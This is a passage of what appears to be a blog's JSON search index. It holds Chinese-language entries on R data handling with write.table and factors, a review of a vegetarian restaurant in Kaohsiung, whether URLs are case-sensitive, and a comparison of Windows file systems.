5 1 1 5.297 48 48 1 5 3 1 4.2968 58 58 1 6 1 1 3.5008 60 60 1 6 1 1 3.2487 61 61 1 6 1 1 3.2304 62 62 1 5 3 1 3.2263 63 63 1 6 1 1 3.1848 [略] 如果要讓資料可以直接給 Excel 讀取，可以使用逗號作為分隔字元來產生 CSV 檔：\nwrite.table(SquidM, file = \u0026#34;MaleSquid.csv\u0026#34;, sep = \u0026#34;,\u0026#34;, quote = FALSE, append = FALSE, na = \u0026#34;NA\u0026#34;) quote 設定為 TRUE 可以讓欄位名稱與類別資料加上引號，有時候這樣可以避免特殊字元造成的解析錯誤。\nwrite.table(SquidM, file = \u0026#34;MaleSquid.csv\u0026#34;, sep = \u0026#34;,\u0026#34;, quote = TRUE, append = FALSE, na = \u0026#34;NA\u0026#34;) 加上 sep = \u0026quot;,\u0026quot; 與 quote = TRUE 的檔案輸出內容會像這樣：\n\"Sample\",\"Year\",\"Month\",\"Location\",\"Sex\",\"GSI\" \"24\",24,1,5,1,1,5.297 \"48\",48,1,5,3,1,4.2968 \"58\",58,1,6,1,1,3.5008 \"60\",60,1,6,1,1,3.2487 \"61\",61,1,6,1,1,3.2304 \"62\",62,1,5,3,1,3.2263 \"63\",63,1,6,1,1,3.1848 [略] 使用 write.table 所產生的 CSV 雖然可以用 Excel 直接開啟，不過在用 Excel 打開之後，第一列會少掉第一欄的名稱：\n這裡我們需要自己手動將第一列的名稱往右移動一格，修正欄位名稱的對應，才會得到正確的表格。\nExercise 3\n在 Exercise 2 中，我們已經將所有四月份且 SampleDepth 大於 2000 的資料篩選出來了，請繼續使用 write.table 函數，將這些檔案匯出至檔案中。\nR 的類別資料 前面我們曾經使用 str 函數查看 Squid 的資料欄位資訊：\nstr(Squid) 'data.frame':\t2644 obs. of 6 variables: $ Sample : int 1 2 3 4 5 6 7 8 9 10 ... $ Year : int 1 1 1 1 1 1 1 1 1 1 ... $ Month : int 1 1 1 1 1 1 1 1 1 2 ... $ Location: int 1 3 1 1 1 1 1 3 3 1 ... $ Sex : int 2 2 2 2 2 2 2 2 2 2 ... $ GSI : num 10.44 9.83 9.74 9.31 8.99 ... 其中 Location 是以 1、2、3 或 4 來表示，而 Sex 則是使用 1 與 2 來表示，這樣的資料都是屬於典型的類別資料，若是在 Excel 中，我們可以很容易地將 Sex 寫成 male 與 female，這樣可以更容易辨識資料所代表的意義，在 R 中也可以做類似的處理，將類些資料轉為類別性資料：\nSquid$fLocation \u0026lt;- factor(Squid$Location) Squid$fSex \u0026lt;- factor(Squid$Sex) R 的 factor 是專門用來儲存類別性資料的一種變數型態，我們利用 factor 函數來將 Location 與 Sex 轉為 factor，儲存在新的資料表欄位中，我們可以看一下 fSex 這個 factor 的資料：\nSquid$fSex 輸出為\n[1] 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 [19] 2 2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2 2 [37] 2 2 2 2 2 2 2 2 2 2 2 1 2 2 2 2 2 2 [略] [2611] 1 2 1 1 2 1 1 2 1 2 2 1 1 1 1 1 1 1 [2629] 1 1 2 1 1 1 2 1 2 1 2 1 2 1 1 1 Levels: 1 2 最後一行的 Levels: 1 2 表示 fSex 有兩種類別，分別為 1 與 2，而 factor 內部的類別名稱是可以修改的：\nSquid$fSex \u0026lt;- factor(Squid$Sex, levels = c(1, 2), labels = c(\u0026#34;M\u0026#34;, \u0026#34;F\u0026#34;)) Squid$fSex 輸出為：\n[1] F F F F F F F F F F F F F F F F F F [19] F F F F F M F F F F F F F F F F F F [37] F F F F F F F F F F F M F F F F F F [略] [2611] M F M M F M M F M F F M M M M M M M [2629] M M F M M M F M F M F M F M M M Levels: M F 如此一來，所有的 1 就會以 M 表示，而 2 就會以 F 表示。\n前面我們介紹過用簡單的判斷式篩選資料的方法：\nSquidM \u0026lt;- Squid[Squid$Sex == 1, ] 而如果要使用 factor 的欄位進行篩選，輸入類別名稱時，記得要加上引號：\nSquidM \u0026lt;- Squid[Squid$fSex == \u0026#34;M\u0026#34;, ] 在 R 中的許多函數都可以直接讀取 factor 的資料，例如畫 box plot：\nboxplot(GSI ~ fSex, data = Squid) 回歸分析也可以使用 factor 的變數：\nM1 \u0026lt;- lm(GSI ~ fSex + fLocation, data = Squid) summary(M1) 輸出為：\nCall: lm(formula = GSI ~ fSex + fLocation, data = Squid) Residuals: Min 1Q Median 3Q Max -3.4137 -1.3195 -0.1593 1.2039 11.2159 Coefficients: Estimate Std. Error t value (Intercept) 1.35926 0.07068 19.230 fSexF 2.02481 0.09427 21.479 fLocation2 -1.85525 0.20027 -9.264 fLocation3 -0.14248 0.12657 -1.126 fLocation4 0.58756 0.34934 1.682 Pr(\u0026gt;|t|) (Intercept) \u0026lt;2e-16 *** fSexF \u0026lt;2e-16 *** fLocation2 \u0026lt;2e-16 *** fLocation3 0.2604 fLocation4 0.0927 . --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 Residual standard error: 2.415 on 2639 degrees of freedom Multiple R-squared: 0.1759, Adjusted R-squared: 0.1746 F-statistic: 140.8 on 4 and 2639 DF, p-value: \u0026lt; 2.2e-16 M2 \u0026lt;- lm(GSI ~ factor(Sex) + factor(Location), data = Squid) summary(M2) 輸出為：\nCall: lm(formula = GSI ~ factor(Sex) + factor(Location), data = Squid) Residuals: Min 1Q Median 3Q Max -3.4137 -1.3195 -0.1593 1.2039 11.2159 Coefficients: Estimate Std. Error (Intercept) 1.35926 0.07068 factor(Sex)2 2.02481 0.09427 factor(Location)2 -1.85525 0.20027 factor(Location)3 -0.14248 0.12657 factor(Location)4 0.58756 0.34934 t value Pr(\u0026gt;|t|) (Intercept) 19.230 \u0026lt;2e-16 *** factor(Sex)2 21.479 \u0026lt;2e-16 *** factor(Location)2 -9.264 \u0026lt;2e-16 *** factor(Location)3 -1.126 0.2604 factor(Location)4 1.682 0.0927 . --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 Residual standard error: 2.415 on 2639 degrees of freedom Multiple R-squared: 0.1759, Adjusted R-squared: 0.1746 F-statistic: 140.8 on 4 and 2639 DF, p-value: \u0026lt; 2.2e-16 除了 factor 函數之外，我們也可以使用 as.factor 這個函數將資料轉為 factor，而如果要將 factor 轉為數值，可以使用 as.numeric 函數，這個在畫圖的時候，要將不同類別的資料以不同顏色表示時，會很好用。\nfLocation 的內容也是類似：\nSquid$fLocation 輸出為\n[1] 1 3 1 1 1 1 1 3 3 1 1 1 1 1 1 1 3 1 [19] 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 [37] 1 1 1 3 1 1 1 1 3 1 1 3 1 1 1 1 1 1 [略] [2611] 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 [2629] 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 Levels: 1 2 3 4 fLocation 有四個 levels，順序是由小到大，許多繪圖函數在使用 factor 時，會受到這個順序的影響，例如 boxplot 畫出來的圖形就是依照這個順序來排列的，必要的時候我們可以自行指定這個順序：\nSquid$fLocation \u0026lt;- factor(Squid$Location, levels = c(2, 3, 1, 4)) Squid$fLocation 輸出為：\n[1] 1 3 1 1 1 1 1 3 3 1 1 1 1 1 1 1 3 1 [19] 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 [37] 1 1 1 3 1 1 1 1 3 1 1 3 1 1 1 1 1 1 [略] [2611] 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 [2629] 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 Levels: 2 3 1 4 改變 levels 的順序並不會影響實際的資料，不過對於 boxplot 這類的繪圖函數就會有一些差別：\nboxplot(GSI ~ fLocation, data = Squid) 這樣畫出來的圖就會依照我們指定的順序來排列。\nExercise 4\n接續使用 Exercise 2 的資料，進行下列步驟：\n將 Month 與 Year 轉為 factor 後建立兩個新的欄位 fMonth 與 fYear。 使用新的 fYear 欄位篩選出 2002 年所有的資料。 總覽 下面這張表是本篇所介紹過的 R 函數總覽。\n函數 說明 範例 write.table 將資料匯出至 ASCII 檔案。 write.table(MyTable, file = \u0026quot;output.txt\u0026quot;) order 計算資料的排序向量。 order(x) merge 合併兩個資料表。 merge(x, y, by = \u0026quot;ID\u0026quot;) attach 將資料表內的變數加入搜尋路徑。 attach(MyData) str 顯示資料的內部結構。 str(MyData) factor 建立 factor 變數。 factor(x) ","permalink":"https://blog.gtwang.org/r/r-accessing-variables-and-managing-subsets-of-data/","summary":"\u003cp\u003e本篇介紹如何在 R 環境中，管理與操作各種資料，在實際進行分析之前，做一些前置性的準備動作。\u003c/p\u003e\n\u003cp\u003e在統計分析的過程中，我們時常會需要對資料進行一些前置處理，例如刪除或萃取部分資料、以及資料的排序等，這些動作也可以在匯入 R 之前，使用 Excel 這類的軟體來先進行處理，不過使用 Excel 來處理的話，每次選擇資料時就需要將資料重新匯入 R，處理步驟比較繁雜，另外如果資料量太大，可能也會無法使用 Excel 來處理，因此學習如何在 R 環境中進行基本的資料處理是有必要的。\u003c/p\u003e","title":"R 變數與資料的管理"},{"content":"Double Veggie 蔬活食堂是一家 CP 值很高的異國蔬食料理餐廳，廚師精湛的廚藝讓素食料理猶如藝術品般的展現。\n中正路這一家 Double Veggie 蔬活食堂目前已終止營業。\nDouble Veggie 蔬活食堂是 Just Sleep 捷絲旅商務旅館的專屬餐廳，隸屬於麗晶國際酒店集團，目前有兩家分店：高雄中正館與花蓮館，最近高雄站前店也正在籌備開幕，今天去的這家蔬活食堂是在捷絲旅高雄中正館一樓，位於中正路與輔仁路口，技擊館捷運站 2 號出口。\nDouble Veggie 蔬活食堂曾經聘請晶華主廚駐點，加上蔬活主廚曾在美國、加拿大長時間研修廚藝，去過日本工作並學習日式咖哩與法國料理，就讀高雄餐旅大學時，透過學校關係曾去過法國、英國、義大利、瑞士、香港、中國內陸等地，更走訪印度與泰國學習當地餐點特色。\n蔬活食堂的主廚把法式、義式、美式、泰式與中式料理等多國料理技藝發揮得淋漓盡致，其除精通各國料裡，擅長利用多種繁複料理工法與工序，透過精湛廚藝將天然新鮮蔬果原始鮮美自然呈現；在食材的選擇上，蔬活更不惜高成本，採用國內外多樣化最頂級新鮮的食材。\n店名：Double Veggie 蔬活食堂\n網站：facebook 粉絲專頁\n這是捷絲旅大廳，這裡有一台無人自彈的鋼琴，還有可以提供客人等候休憩的大沙發皮椅。\n高級旅館餐廳的氛圍，就是與外面一般蔬食餐廳不同，今天早到等候進場用餐前，還看到多位國外旅客，對於國內外的蔬食與素食者而言，捷絲旅與蔬活食堂是很棒的住宿與用餐場所。\n我們家阿玄看到無人自彈的鋼琴很好奇，想湊近看鋼琴的琴鍵為何會自彈呢？ 鋼琴上有個「請勿碰觸」的標示，我一直叮嚀他不能手去觸摸。\n捷絲旅大廳有個旅遊導覽圖立牌，還沒開使用餐之前，阿玄很無聊就在這裡看這張地圖。\n這是 Double Veggie 蔬活食堂的餐廳入口，必須等到開放時間才能進場用餐。\n蔬活食堂的早餐只提供住宿旅客使用，午餐和晚餐才有開放非住宿客戶訂位用餐。餐廳入口處有目前餐廳主廚推薦的新菜色，目前主廚推薦與當月暢銷餐點是「猴菇排」，喜歡猴頭菇的美食饕客絕對不能錯過。\n這是蔬活食堂的用餐區。\n蔬活食堂都會很貼心幫小朋友準備兒童餐椅與餐具，阿玄很好奇地看著兒童餐椅，我覺得蔬活的兒童餐椅感覺很不賴，舒適又安全。\n不過阿玄長大了，他習慣坐跟大人一樣的木餐椅。\n阿玄對蔬活提供的兒童餐盤超感興趣的，超專注的看著餐盤上的圖案。\n今天幫阿玄做了小紳士的打扮，希望能夠機會教育學到一點用餐禮節，因為很期待兒童餐，平常好動的他，真的乖了許多，值得嘉獎喔！\n用餐區另外一邊靠牆的皮椅座位區，有娃娃兵擺飾，這也是小朋友的最愛。\n菜單首頁寫著 Double Veggie 蔬活食堂的經營理念。\nDouble Veggie 蔬活食堂秉持著自然、新鮮、健康、創新的經營理念，堅持使用最新鮮的蔬果，風味獨特的菌菇為食材，訴求讓客人「吃的自然，吃的健康」。為保留最天然且營養的食材原味，在這裡我們結合了多元化各國料理的特色，採用新鮮的蔬果及菌類為主體，搭配米級特色麵食，不添加人工化學及調味，呈現食材最自然的口感，打破蔬食的傳統思維，強調健康、清新、自然的飲食概念，重新全釋蔬食料理可以吃的「精緻又美味」。\n吃過蔬活料理正在寫食記的我，真的可以放心的跟大家說，蔬活食堂確確實實做到了他們的經營理念，真的很用心去落實。\nDouble Veggie 蔬活食堂的餐點真的很多，我們要來用餐前也事先做過功課，發現網站上的菜單目前沒有詳細的全素、奶素、蛋素和植物五辛素的標示，但是現場菜單卻有很詳細的標示。所以在餐點等候時間，趕快拍點菜單介紹給想來用餐的網友們參考菜色。\n主廚特選沙拉 主廚特選沙拉的部份有：甜菜頭鮮果優格〈蛋奶素〉、乳酪鮮果蜜瓜沙拉〈奶素〉、芙蓉蘋果薑柚沙拉〈蛋奶素〉與野菇羅曼凱薩沙拉〈奶素〉。\n如果是吃全素的人，這道芙蓉蘋果薑柚沙拉可以改為全素，點餐時可以事先跟服務生說，蔬活主廚會將原先蛋奶素特調醬汁，改以全素油醋取代。\n兒童餐 兒童套餐只提供 12 歲以下兒童使用，有 A 餐與 B 餐兩種套餐選擇。\n彩漾蔬食湯麵 彩漾蔬食湯麵有：綠咖哩椰奶烏龍麵〈五辛素〉、蔬香若骨茶湯麵〈蛋素〉和鳳梨乳辣味噌湯拉麵〈全素〉。\n主廚特選 主廚特選的餐點有：猴菇排〈蛋奶素〉、薑黃咖哩粿條〈蛋素〉、主廚享樂沙拉〈奶素〉、蕈菇香料燉紅馬鈴薯〈奶素〉、雙蔥乳酪鮮菇堡〈五辛素〉和紫蔥番茄溫紅薯〈五辛素〉，這部分的菜單剛好沒拍到（想看菜單的人可以參考文章最後附的菜單圖片），還好今天有點猴菇排，在後面的內文會有詳細介紹。\n主廚享樂沙拉也可以改為全素，點餐時請事先告知服務生喔！\n樂活蔬食三明治 樂活蔬食三明治有：蔬活總匯〈奶素〉、蛋沙拉蔬果〈蛋素〉、玩味番茄佛卡夏〈蛋奶素〉、明廚花園佛卡夏〈蛋奶素〉和碳烤乳酪拖鞋〈奶素〉。\n獨特米型麵 獨特米型麵有：香噴噴野菇米型麵〈奶素〉、蘆筍松子青醬烤米麵〈奶素〉、三味乾果番茄烤米麵〈奶素〉、清蔬歐芹燉飯〈奶素〉。\n特色米飯 特色米飯有：芋頭椰漿飯〈全素〉、棕梠鳳梨香米飯〈蛋素〉、泰佛紅麴炒飯〈蛋素〉、香濃黃咖哩（附飯）〈全素〉、香辣綠咖哩（附飯）〈全素〉。\n美味義大利麵 美味義大利麵有：金黃南瓜蘆筍斜管麵〈奶素〉、木耳野菇南瓜細扁麵〈奶素〉、脆綠青醬竹筍麵〈奶素〉、香辣朝鮮薊茄汁細扁麵〈全素〉。\n南洋泰式風味 南洋泰式風味有：靈菇辣脆椒（附小饅頭）〈全素〉與泰式炒河粉〈蛋素〉。\n因為菜單上面的餐點很多，我只有大約拍一些作代表，想看其餘的菜色的人，可以參考文章最後附的菜單圖片，或是從蔬活食堂的網站上查詢，不過目前網站上的資訊沒有表示詳細素食類別，建議直接看這篇文章最後附的菜單圖片比較清楚。\n套餐加點的部份有：\n價格 內容 +A 方案 NT $100 元 * 軟性飲料吧無限暢飲 +B 方案 NT $180 元 * 創意前菜 * 每日湯品 * 鮮蔬沙拉 * 繽紛甜點 * 軟性飲料吧無限暢飲 主餐點從菜單的照片上看起來份量好像不多，但其實份量非常足夠，所以才設計成可以單點，只是因為盤子很大且有深度，照片視覺上會有誤差，食量少的人可以單點套餐再加飲料。不過加點 +B 附餐會更優惠，因為 +B 套餐加點的餐點分量很多又好吃。\n+A 套餐加點的軟性飲料吧無限暢飲的部份有咖啡、奶茶、柳橙汁、活力果汁與兩種熱茶飲。\n今天我們點的餐點有：猴菇排、名廚花園佛卡夏、兒童 A 餐。\n前面這杯是柳橙汁，後面的是活力果汁。喝起來感覺像是現榨果汁，新鮮又好喝，加 100 元就可以無限暢飲，真的很划算。\n+B 套餐加點是 180 元，有附加創意前菜、每日湯品、鮮蔬沙拉、繽紛甜點和軟性飲料吧無限暢飲，除非您的食量少，不然 +B 套餐加點是最划算的！今天剛好加點兩份 +B 套餐，搭配主餐風格，+B 套餐也有分中式與西式兩種。\n創意前菜 創意前菜有中式與西式兩種前菜，依主餐風格來作搭配。\n創意前菜（白花椰菜風味）〈全素〉，下層是白花椰菜泥，上層有白花椰菜、南瓜和南瓜子等。\n創意前菜（椰香地瓜風味）〈全素〉，帶有些許的微微的辣，基本上吃起來是感覺不出有辣。蔬活針對全素客人需求，全素的餐點都會用椰奶取代牛奶來料理，這點讓人很放心。\n每日湯品 每日湯品有中式與西式兩種湯品，會依當季食材做變化。湯品看起來好像很普通，可是都很好喝，都會想把它喝光光。\n鮮蔬沙拉 鮮蔬沙拉有中式與西式兩種套餐沙拉，份量都很多。\n中式沙拉使用香茅香辣油醋，香辣油醋主要是用南薑所呈現出薑的辣味，再加上一些柑橘汁，沙拉食材有檸檬椒、炒過的香料、豆苗、杏鲍菇、洛神花凍、蕃茄等生菜。\n紫色的是洛神花凍，超好吃的。蔬活的沙拉會讓不喜歡吃沙拉的人，慢慢接受並且愛上它！\n蔬活的烹調手法有導入很多法國的分子料理方式，這是目前台灣一般傳統素食所以沒有的。\n+B 套餐的西式沙拉〈奶素〉，看起來好像不多，其實沙拉分量超多的，我很喜歡這道沙拉的煙燻乳酪塊，超新鮮又好吃。\n使用百香果油醋，裡面紫色塊狀是甜菜根，蒸過的口感，沒有甜菜根的土味，有鮮甜的口感。蔬活的料理真的會顛覆您對食材原本刻板味覺口感，真的是全新詮釋食材潛藏的美味，吃過的人才能真正的體會。\n繽紛甜點 最左邊是百香果，中間是西瓜、鳳梨，最右邊是焦糖布丁。\n焦糖布丁上面是薄荷嫩葉，薄荷的清新香氣配上濃郁的焦糖布丁，真的很好吃，這就是蔬活料理讓人驚豔的地方。\n蔬活的食材鮮度，讓人完全對蔬果的刻板印象改觀，原來食材的新鮮度與品質，影響口感味覺那麼大。這裡的蔬食，會讓人愛上它！\n最後介紹今天的主角：主廚推薦猴菇排，這是目前蔬活目前最貴的主餐，價格 418 元，採用玉山頂級猴頭菇，看到猴頭菇超級大塊，就知道它有多頂級。\n蔬活的猴頭排特色就是不沾醬也很好吃，吃起來口感又很像牛排，這裡面暗藏很多玄機喔！來蔬活食堂沒吃猴菇排，真的會有點可惜喔！\n玉山頂級猴頭菇經過主廚利用七道工序（川、泡、煮、浸、蒸、烤、醬），真的很費工；另外請大家仔細看，您會發現這道猴菇排，也蘊藏中國五行（金木水火土）五色（青黃赤白黑）的飲食概念，這道西式的猴菇排，真的是把中國料理的精髓發揮得淋漓盡致。\n這道猴菇排切起來的手感像是在切牛排，加上鮮嫩多汁的口感，使它成為蔬活最暢銷的餐點之一，這真的是蔬活很成功的一道餐點喔！\n猴頭菇原色是乳白色，屬金。青花椰菜青色，屬木。紫米黑色，屬水。蕃茄紅色，屬火。地瓜黃色，屬土。\n這是切猴頭菇的特寫，真的像是在切牛排，應該拍另外一面的，會更清楚，我想這道猴菇排，一定能深受國外旅客所喜愛！\n紫米表面脆脆，裡面軟軟的，吃起來還有ㄅㄛㄅㄛ的感覺（有點像是在咬小小米香粒的口感，哈，這真是難以形容）。蔬活十分講究食材的新鮮，擅長使用在地新鮮食材做出西式料理口感，這就是蔬活用心與創新的精神，聽說光是蒸紫米的機器價格就高達 100 多萬元。\n經過蔬活料理過的每樣食材都會全新賦予它全然不同嶄新的風貌，猴菇排的地瓜，或許您會認為它是這道菜的小小配角，沒什麼特別，但這地瓜嘗起來的感覺有點酸酸甜甜的，淡淡的香，入口之後，還縈繞著那股香氣！\n享用完地瓜後，我等不及想吃焗烤番茄，吃過之後，我真的徹徹底底愛上了它，因為焗烤番茄裡面有三種起司（cheese），切開來之後，滿滿的起司配上蕃茄酸甜的口感，這種美好滋味，我想也只有在蔬活才能體驗得到。\n蔬活就連青花椰菜的沾醬也很特別，都是主廚精心調配的，蔬活對於料理的每個小細節都很注重，青花椰菜沾的是特調黑胡椒醬，感覺起來好像很普通，一開始就是黑胡椒的味道，可是吃到後來會覺得甜甜的，還有蔬果的香氣，很特別吧！\n兒童套餐 A 原本菜單的設計兒童 A/B 餐都是奶素，後來蔬活保留 B 餐為奶素，將 A 餐改為植物五辛素。因為我小朋友不吃植物五辛素，可是他卻非常喜歡 A 餐的漢堡，所以我特地請蔬活主廚將 A 餐調整回原本奶素兒童餐。\n照片中薯條和漢堡內餡含植物五辛成分，若小朋友不吃植物五辛，可以改蛋奶素，只要更換薯條成薯餅，將漢堡內餡稍微調整即可。\n若不吃植物五辛，只要調整內餡即可。\n兒童 A 餐的沙拉〈蛋奶素〉，我家玄玄也超喜歡吃沙拉的！看到兒童 A 餐的餐點，連我都想點呢！可惜，蔬活有限制 12 歲以下才能點兒童餐。\n兒童 A 餐甜點是布丁，因為我們忙著拍照，一開始沒有注意這一道甜點，等到把主餐拍完，一回頭看到這盤布丁的時候，它已經只剩下一半了，由此可見它有多好吃。\n阿玄最愛薯餅，渾然忘我享用美食，完全不顧形象，真是太好吃了！\n再來介紹〈名廚花園佛卡夏〉，會點它是喜歡它夢幻唯美的名字，菜單上是〈蛋奶素〉，蔬活現任主廚把原本較法式風格名廚花園佛卡夏，改成〈植物五辛素〉餐點，變成較粗曠偏美式風格的名廚花園佛卡夏，所以今天餐點照片會跟菜單上不同喔！\n這樣改變反而較適合喜歡美式餐點又吃植物五辛素的人，我猜想主廚會做這樣餐點的改變，跟他曾長時間在美國、加拿大研習廚藝背景有關，其實這樣的詮釋風格也不賴！只是菜單還沒更新。\n雖然蒜味厚片土司我不吃，我卻對沙拉食材超感興趣，先看到是松子，還有像葡萄果肉圓圓的是哈蜜瓜，很驚奇哈密瓜怎可以做像葡萄果肉的口感！另外，還要介紹這道餐點最貴的沙拉食材：圓葉芝麻苗，聽說 1 公斤 5000 元，原本想說這綠色的葉子，有什麼好吃，原來真的好吃，就像剛摘下來一樣，非常新鮮！蔬活餐點的食材新鮮度真的讓我很驚訝，每一種新鮮食材吃起來真的就如同現摘、現採的一樣，難以想像這樣高品質的食材是如何取得的。\n最後這道甜點是桂花糕銀耳露，這真的是秒殺甜點，一上桌馬上喝光光。\n這道桂花糕銀耳露是於蔬活食堂 facebook 粉絲專頁打卡並按讚的贈品。\n蔬活食堂不定時會推出新菜色與優惠活動，這些訊息可以在蔬活 facebook 粉絲專頁得知。\n這是假日中午時段的用餐景象，蔬活食堂到了假日都是一位難求，要來的人最好事先訂位喔！\n蔬活食堂還有另外一小間獨立的用餐區，可以提供團體用餐，這裡平常沒有開放出來，需要的人可以去電詢問。\n蔬活的每個餐點都非常講究新鮮天然，讓人吃得很放心，如果有機會到高雄旅遊，我一定會選擇捷絲旅商務旅館住宿，因為那裡有我最愛的 Double Veggie 蔬活食堂餐廳。\n以下是 Double Veggie 蔬活食堂提供的菜單圖片，這份菜單有比較詳盡的素食分類標示。\n","permalink":"https://blog.gtwang.org/life/just-sleep-double-veggie-vegetarian-restaurant/","summary":"\u003cp\u003eDouble Veggie 蔬活食堂是一家 CP 值很高的異國蔬食料理餐廳，廚師精湛的廚藝讓素食料理猶如藝術品般的展現。\u003c/p\u003e\n\u003cblockquote class=\"caution\"\u003e\u003cp\u003e中正路這一家 Double Veggie 蔬活食堂目前已終止營業。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003eDouble Veggie 蔬活食堂是 Just Sleep 捷絲旅商務旅館的專屬餐廳，隸屬於麗晶國際酒店集團，目前有兩家分店：高雄中正館與花蓮館，最近高雄站前店也正在籌備開幕，今天去的這家蔬活食堂是在捷絲旅高雄中正館一樓，位於中正路與輔仁路口，技擊館捷運站 2 號出口。\u003c/p\u003e","title":"[高雄素食] Double Veggie 蔬活食堂：異國蔬食料理餐廳，素食藝術天堂！"},{"content":"有些人會對於網址的英文大小寫問題有些混淆，搞不清楚到底 URL 中的英文大小寫的差別在哪裡，這裡有詳盡的實測與說明。\n在成立網站時，都會需要申請一個網址，許多人都會希望自己的品牌名稱可以直接呈現在網址上，最好英文的大小寫也都可以完全符合，一目暸然，以下我們有完整的網址大小寫說明，告訴您網址到底可不可以使用大寫的英文字母？大小寫的字母是否有差異？以及到底該選擇哪一種表示方式比較好？\n要討論網址的大小寫之前，我們要先大約了解一下網址的結構，一般網址的形式大概是這樣：\nhttp://www.example.com:80/path/to/myfile.html?key1=value1\u0026amp;key2=value2#SomewhereInTheDocument 以下是網址各個部分的英文大小寫說明。\n通訊協定（Protocol） 網址的第一個部分是通訊協定，一般網站最常見的協定就是 http 與 https。\n而依照 RFC 的規定，scheme 是不分大小寫的，不管是寫成 http、HTTP 或是 Http，都沒有關係，但是如果要作為正式名稱時，還是要以全部都是小寫的 http 為準。\n網域名稱（Domain Name） 網域名稱應該是大家比較會想要使用大寫字母的部分，這個部分也是不分大小寫的，\n假設我們申請了 gtwang.org 這個網址，那麼在網站架設好之後，不管在瀏覽器輸入 gtwang.org、GTWANG.ORG 或 GTWang.Org，都一樣會連到我們的網站，所以這個部分可以隨意更改英文字母的大小寫。\n連接埠（Port） 對於正常的網站來說，網址裡面是不會包含這個部分的，而且這個部分也只有連接埠的埠號，沒有大小寫問題。\n網頁路徑（Path） 在網域名稱與連接埠之後，接著就是網頁的路徑。\n這個部分的英文字母大小寫會因為伺服器的作業系統而有不同，以 Windows 的伺服器而言是不分大小寫的，但是 UNIX/Linux 系統則會區分大小寫，位於一般的使用者而言要判斷是否可以更改大小寫並不容易，建議是不要任意更改這個部分的英文大小寫。\n參數（Parameters） 參數的部分通常都是一些要傳送給網頁伺服器的資料，有各種鍵值的對應。\n這個狀況就跟網頁路徑類似，會跟網頁伺服器的作業系統有關，所以大小寫不能任意更改，建議維持原狀就好。\n錨點（Anchor） 錨點可以讓超連結直接指向至 HTML 網頁中的某一個特定位置，也是一個很常見的功能。\n而錨點會對應到網頁 HTML 中的 id 或 name，這兩個屬性是有分大小寫的，所以這個部分也是不可以隨意更改大小寫的。\n結論 簡單來說，一個網頁的網址中，只有「通訊協定」與「網域名稱」的部分可以任意修改大小寫（以下紅色的部分）：\nhttp://www.example.com:80/path/to/myfile.html?key1=value1\u0026amp;key2=value2#SomewhereInTheDocument 其他的部分都不可以任意更改英文字母的大小寫，如果任意更動的話，有可能會造成網址失效的問題。\n雖然「通訊協定」與「網域名稱」的大小寫是可以任意更改的，然而不管是在標準上或是大眾的使用習慣上，都還是會以全部小寫的網址為主，市面上絕大部分的網址也都是以小寫的方式表示，因此除非必要，不然使用小寫的網址其實會比較好，不會讓人感覺太突兀。\n參考資料 MDN MOZ miniasp ","permalink":"https://blog.gtwang.org/web-development/url-lower-and-upper-case/","summary":"\u003cp\u003e有些人會對於網址的英文大小寫問題有些混淆，搞不清楚到底 URL 中的英文大小寫的差別在哪裡，這裡有詳盡的實測與說明。\u003c/p\u003e\n\u003cp\u003e在成立網站時，都會需要申請一個網址，許多人都會希望自己的品牌名稱可以直接呈現在網址上，最好英文的大小寫也都可以完全符合，一目暸然，以下我們有完整的網址大小寫說明，告訴您網址到底可不可以使用大寫的英文字母？大小寫的字母是否有差異？以及到底該選擇哪一種表示方式比較好？\u003c/p\u003e","title":"網址 URL 英文大小寫是否有差別？"},{"content":"這裡比較 NTFS、FAT32 與 exFAT 這些 Windows 常用的檔案系統，讓您更容易選擇適合自己的檔案系統。\n在 Windows 中如果要新增硬碟時，需要進行格式化的動作，這時候必須選擇一個適合自己的檔案系統，如果選擇不恰當，日後很容易造成許多困擾，最常見的狀況就是使用 FAT32 這種舊的檔案系統，當需要儲存超過 4GB 的大檔案時，複製檔案到一半，就出現這樣的錯誤訊息：\n這裡顯示「檔案太大無法放置在目的檔案系統」，如果您確定您的硬碟還有足夠的空間，但是卻出現這樣的訊息，就表示問題可能出在檔案系統上，以下是 Windows 系統上常用的檔案系統比較，每一種檔案系統都有它的限制，例如 FAT32 的檔案大小就不能超過 4GB。\n檔案系統 FAT32 NTFS exFAT（隨身碟專用） 相容性 全部 Windows XP 以後皆可 Windows 7 以後皆可 Windows XP 需安裝 KB955704，Windows Vista 需要 SP1 或 SP2 單一檔案大小上限 4GB 16TB（理論值） 64ZB 磁碟分割區大小上限 8TB 2TB 16EB 建議分割區大小配置 32MB ~ 32GB 400MB ~ 2TB 512TB 以下 在 Windows 7 中若要格式化硬碟，預設的選項是 FAT32，對一般人而言可能不會有什麼太大的問題，但是如果您會需要儲存大檔案（超過 4GB）的話，就不能用這個選項。\n這個問題如果一開始沒有注意到，等到硬碟放了很多東西之後，要再重新格式化就很累了。\n因為現在的硬碟容量都非常大，如果是 Windows 個人電腦的內接式硬碟，可以直接選擇 NTFS，而如果是隨身碟或外接式硬碟，則可以考慮使用 exFAT，以現在新的硬碟來說，通常都不適合再使用舊的 FAT32 了。\n參考資料 kasim ","permalink":"https://blog.gtwang.org/windows/ntfs-vs-fat-exfat-file-system/","summary":"\u003cp\u003e這裡比較 NTFS、FAT32 與 exFAT 這些 Windows 